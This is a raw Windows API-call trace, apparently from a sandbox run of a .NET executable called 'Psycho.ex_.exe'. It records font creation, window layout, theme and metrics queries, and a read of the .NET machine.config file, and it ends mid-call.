[0157.995] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.995] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.995] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0157.995] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c6c80) returned 0x0 [0157.995] GdipGetFontSize (font=0x1b95bdc0, size=0x28c6c88) returned 0x0 [0157.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.995] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.996] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.996] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.996] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0157.996] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c7088) returned 0x0 [0157.996] GdipGetFontSize (font=0x1cbe4b00, size=0x28c7090) returned 0x0 [0157.996] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.996] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.996] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.996] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.997] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0157.997] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c7488) returned 0x0 [0157.997] GdipGetFontSize (font=0x1cbe4b40, size=0x28c7490) returned 0x0 [0157.997] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.997] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0157.997] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0157.997] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0158.029] IsAppThemed () returned 0x1 [0158.030] GetThemeAppProperties () returned 0x3 [0158.030] GetThemeAppProperties () returned 0x3 [0158.030] OpenThemeData () returned 0x20002 [0158.031] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0158.032] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28c7f58) returned 0x0 [0158.032] GdipGetFontSize (font=0x1cbe4b80, size=0x28c7f60) returned 0x0 [0158.032] GetDC (hWnd=0x0) returned 0xd01027c [0158.032] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1ad098) returned 0x0 [0158.032] GdipGetFontHeight (font=0x1cbe4b80, graphics=0x1b9f8220, height=0x1ad094) returned 0x0 [0158.032] GdipDeleteGraphics (graphics=0x1b9f8220) returned 0x0 [0158.032] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0158.033] GetDC (hWnd=0x0) returned 0xd01027c [0158.033] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acf68) returned 0x0 [0158.033] GdipGetFontHeight (font=0x1cbe4b80, graphics=0x1b9f8220, height=0x1acf64) returned 0x0 [0158.033] GdipDeleteGraphics (graphics=0x1b9f8220) returned 0x0 [0158.033] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0158.034] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0158.034] AdjustWindowRectEx (in: lpRect=0x1acfb8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acfb8) returned 1 [0158.034] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0158.034] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0159.375] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0159.390] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0159.415] GdipCreateFontFamilyFromName (name="Times New Roman", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0159.415] GdipCreateFont (fontFamily=0x1b929a70, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28c8520) returned 0x0 [0160.959] GdipGetFontSize (font=0x1cbe4bc0, size=0x28c8528) returned 0x0 [0160.959] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.959] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.959] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.959] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.962] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.962] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c8a28) returned 0x0 [0160.962] GdipGetFontSize (font=0x1cbe4d00, size=0x28c8a30) returned 0x0 [0160.962] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.962] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.962] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.962] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.962] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.963] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c8e20) returned 0x0 [0160.963] GdipGetFontSize (font=0x1cbe4d40, size=0x28c8e28) returned 0x0 [0160.963] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.963] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.963] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.963] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.963] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.964] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c9218) returned 0x0 [0160.964] GdipGetFontSize (font=0x1cbe4d80, size=0x28c9220) returned 0x0 [0160.964] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.964] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.964] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.964] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.964] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.964] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c9618) returned 0x0 [0160.964] GdipGetFontSize (font=0x1cbe4dc0, size=0x28c9620) returned 0x0 [0160.965] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.965] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.965] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.965] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.965] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.965] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c9a10) returned 0x0 [0160.965] GdipGetFontSize (font=0x1cbe4e00, size=0x28c9a18) returned 0x0 [0160.965] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.965] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.966] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.966] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.966] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.966] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28c9e48) returned 0x0 [0160.966] GdipGetFontSize (font=0x1cbe4e40, size=0x28c9e50) returned 0x0 [0160.966] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.966] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.967] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.967] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.967] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.967] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28ca240) returned 0x0 [0160.967] GdipGetFontSize (font=0x1cbe4e80, size=0x28ca248) returned 0x0 [0160.967] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.967] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.967] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.967] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.968] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.968] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28ca648) returned 0x0 [0160.968] GdipGetFontSize (font=0x1cbe4ec0, size=0x28ca650) returned 0x0 [0160.968] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.968] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.968] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.968] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.968] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.969] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=1, unit=0x3, font=0x28caa40) returned 0x0 [0160.969] GdipGetFontSize (font=0x1cbe4f00, size=0x28caa48) returned 0x0 [0160.969] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.969] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.969] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.973] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0160.974] IsAppThemed () returned 0x1 [0160.974] GetThemeAppProperties () returned 0x3 [0160.977] GetThemeAppProperties () returned 0x3 [0160.977] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.977] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28cb0c0) returned 0x0 [0160.977] GdipGetFontSize (font=0x1cbe4f40, size=0x28cb0c8) returned 0x0 [0160.977] GetDC (hWnd=0x0) returned 0xd01027c [0160.977] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1ad098) returned 0x0 [0160.977] GdipGetFontHeight (font=0x1cbe4f40, graphics=0x1cc22e70, height=0x1ad094) returned 0x0 [0160.977] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0160.977] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0160.977] GetDC (hWnd=0x0) returned 0xd01027c [0160.977] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acf68) returned 0x0 [0160.978] GdipGetFontHeight (font=0x1cbe4f40, graphics=0x1cc22e70, height=0x1acf64) returned 0x0 [0160.978] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0160.978] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0160.978] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.978] AdjustWindowRectEx (in: lpRect=0x1acfb8, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acfb8) returned 1 [0160.978] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.978] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x560100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0160.978] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0160.978] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x560108c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0160.978] IsAppThemed () returned 0x1 [0160.978] GetThemeAppProperties () returned 0x3 [0160.978] GetThemeAppProperties () returned 0x3 [0160.978] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0160.979] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28cb8b8) returned 0x0 [0160.979] GdipGetFontSize (font=0x1cbe4f80, size=0x28cb8c0) returned 0x0 [0160.979] GetDC (hWnd=0x0) returned 0xd01027c [0160.979] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1ad098) returned 0x0 [0160.979] GdipGetFontHeight (font=0x1cbe4f80, graphics=0x1cc22e70, height=0x1ad094) returned 0x0 [0160.979] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0160.979] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0160.979] GetDC (hWnd=0x0) returned 0xd01027c [0160.979] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acf68) returned 0x0 [0160.980] GdipGetFontHeight (font=0x1cbe4f80, graphics=0x1cc22e70, height=0x1acf64) returned 0x0 [0160.980] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0160.986] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0160.992] GetSystemMetrics (nIndex=5) returned 1 [0161.003] GetSystemMetrics (nIndex=6) returned 1 [0161.003] GetSystemMetrics (nIndex=5) returned 1 [0161.003] GetSystemMetrics (nIndex=6) returned 1 [0161.003] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.003] AdjustWindowRectEx (in: lpRect=0x1acfb8, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acfb8) returned 1 [0161.003] GetSystemMetrics (nIndex=5) returned 1 [0161.003] GetSystemMetrics (nIndex=6) returned 1 [0161.003] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.003] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.004] GetSystemMetrics (nIndex=5) returned 1 [0161.004] GetSystemMetrics (nIndex=6) returned 1 [0161.004] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.004] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.004] IsAppThemed () returned 0x1 [0161.004] GetThemeAppProperties () returned 0x3 [0161.004] GetThemeAppProperties () returned 0x3 [0161.004] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0161.004] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28cc168) returned 0x0 [0161.004] GdipGetFontSize (font=0x1cbe4fc0, size=0x28cc170) returned 0x0 [0161.004] GetDC (hWnd=0x0) returned 0xd01027c [0161.004] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1ad098) returned 0x0 [0161.004] GdipGetFontHeight (font=0x1cbe4fc0, graphics=0x1cc22e70, height=0x1ad094) returned 0x0 [0161.004] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0161.004] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0161.005] GetDC (hWnd=0x0) returned 0xd01027c [0161.005] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acf68) returned 0x0 [0161.005] GdipGetFontHeight (font=0x1cbe4fc0, graphics=0x1cc22e70, height=0x1acf64) returned 0x0 [0161.005] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0161.005] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0161.005] GetSystemMetrics (nIndex=5) returned 1 [0161.005] GetSystemMetrics (nIndex=6) returned 1 [0161.005] GetSystemMetrics (nIndex=5) returned 1 [0161.005] GetSystemMetrics (nIndex=6) returned 1 [0161.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.005] AdjustWindowRectEx (in: lpRect=0x1acfb8, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acfb8) returned 1 [0161.005] GetSystemMetrics (nIndex=5) returned 1 [0161.005] GetSystemMetrics (nIndex=6) returned 1 [0161.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.005] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.005] GetSystemMetrics (nIndex=5) returned 1 [0161.005] GetSystemMetrics (nIndex=6) returned 1 [0161.005] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.005] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.005] IsAppThemed () returned 0x1 [0161.005] GetThemeAppProperties () returned 0x3 [0161.005] GetThemeAppProperties () returned 0x3 [0161.006] GdipCreateFontFamilyFromName (name="Consolas", fontCollection=0x0, fontFamily=0x1ad140) returned 0x0 [0161.006] GdipCreateFont (fontFamily=0x1b379060, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28cc958) returned 0x0 [0161.006] GdipGetFontSize (font=0x1cbe5000, size=0x28cc960) returned 0x0 [0161.006] GetDC (hWnd=0x0) returned 0xd01027c [0161.006] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1ad098) returned 0x0 [0161.006] GdipGetFontHeight (font=0x1cbe5000, graphics=0x1cc22e70, height=0x1ad094) returned 0x0 [0161.006] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0161.006] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0161.006] GetDC (hWnd=0x0) returned 0xd01027c [0161.006] GdipCreateFromHDC (hdc=0xd01027c, graphics=0x1acf68) returned 0x0 [0161.006] GdipGetFontHeight (font=0x1cbe5000, graphics=0x1cc22e70, height=0x1acf64) returned 0x0 [0161.006] GdipDeleteGraphics (graphics=0x1cc22e70) returned 0x0 [0161.006] ReleaseDC (hWnd=0x0, hDC=0xd01027c) returned 1 [0161.006] GetSystemMetrics (nIndex=5) returned 1 [0161.006] GetSystemMetrics (nIndex=6) returned 1 [0161.006] GetSystemMetrics (nIndex=5) returned 1 [0161.006] GetSystemMetrics (nIndex=6) returned 1 [0161.006] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.007] AdjustWindowRectEx (in: lpRect=0x1acfb8, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1acfb8) returned 1 [0161.007] GetSystemMetrics (nIndex=5) returned 1 [0161.007] GetSystemMetrics (nIndex=6) returned 1 [0161.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.007] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.007] GetSystemMetrics (nIndex=5) returned 1 [0161.007] GetSystemMetrics (nIndex=6) returned 1 [0161.007] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.007] AdjustWindowRectEx (in: lpRect=0x1ad098, dwStyle=0x568100c0, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad098) returned 1 [0161.007] GdipCreateFontFamilyFromName (name="Ubuntu Mono", fontCollection=0x0, fontFamily=0x1ad140) returned 0xe [0161.311] GdipGetGenericFontFamilySansSerif (nativeFamily=0x1ad0f8) returned 0x0 [0161.311] GdipCreateFont (fontFamily=0x1b37c5e0, emSize=0x7fef15ecd25, style=0, unit=0x3, font=0x28cce70) returned 0x0 [0161.311] GdipGetFontSize (font=0x1cbe5040, size=0x28cce78) returned 0x0 [0161.313] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.313] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0161.313] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fef8d20000 [0161.313] AdjustWindowRectEx (in: lpRect=0x1ad028, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x1ad028) returned 1 [0163.000] OleCreatePictureIndirect () returned 0x0 [0163.021] DllUnregisterServer () returned 0x80004005 [0163.021] CoGetContextToken (in: pToken=0x1ac010 | out: pToken=0x1ac010) returned 0x0 [0163.022] CObjectContext::QueryInterface () returned 0x0 [0163.022] CObjectContext::GetCurrentApartmentType () returned 0x0 [0163.022] Release () returned 0x0 [0163.022] CoGetObjectContext (in: riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ac60e48 | out: ppv=0x1ac60e48*=0x1ac22890) returned 0x0 [0163.041] CoGetContextToken (in: pToken=0x1ac490 | out: pToken=0x1ac490) returned 0x0 [0163.041] CoGetContextToken (in: pToken=0x1acb60 | out: pToken=0x1acb60) returned 0x0 [0163.041] CoGetContextToken (in: pToken=0x1aca60 | out: pToken=0x1aca60) returned 0x0 [0163.041] CoGetContextToken (in: pToken=0x1acce0 | out: pToken=0x1acce0) returned 0x0 [0163.041] CoGetContextToken (in: pToken=0x1acbe0 | out: pToken=0x1acbe0) returned 0x0 [0164.702] GetSystemMetrics (nIndex=13) returned 32 [0164.702] GetSystemMetrics (nIndex=14) returned 32 [0164.702] GetIconInfo (in: hIcon=0x200f3, piconinfo=0x28cda28 | out: piconinfo=0x28cda28) returned 1 [0164.703] GetObjectW (in: h=0x705083a, c=32, pv=0x28cda58 | out: pv=0x28cda58) returned 32 [0164.731] DeleteObject (ho=0x705083a) returned 1 [0166.095] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", nBufferLength=0x105, lpBuffer=0x1ac800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", lpFilePart=0x0) returned 0x3b [0166.095] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", nBufferLength=0x105, lpBuffer=0x1ac6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Psycho.ex_.exe.config", lpFilePart=0x0) returned 0x3b [0167.221] GetCurrentProcess () returned 0xffffffffffffffff [0167.222] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1acaa8 | out: TokenHandle=0x1acaa8*=0x2b0) returned 1 [0167.229] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x1ac4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0167.231] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1acb60 | out: lpFileInformation=0x1acb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279e2c00, ftCreationTime.dwHighDateTime=0x1cd5cf6, ftLastAccessTime.dwLowDateTime=0xcf7c84e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x279e2c00, ftLastWriteTime.dwHighDateTime=0x1cd5cf6, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0167.234] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ac4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0167.234] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1acb48 | out: lpFileInformation=0x1acb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279e2c00, ftCreationTime.dwHighDateTime=0x1cd5cf6, ftLastAccessTime.dwLowDateTime=0xcf7c84e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x279e2c00, ftLastWriteTime.dwHighDateTime=0x1cd5cf6, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0167.235] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1ac4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0167.235] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ac9c0) returned 1 [0167.235] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2b4 [0167.241] 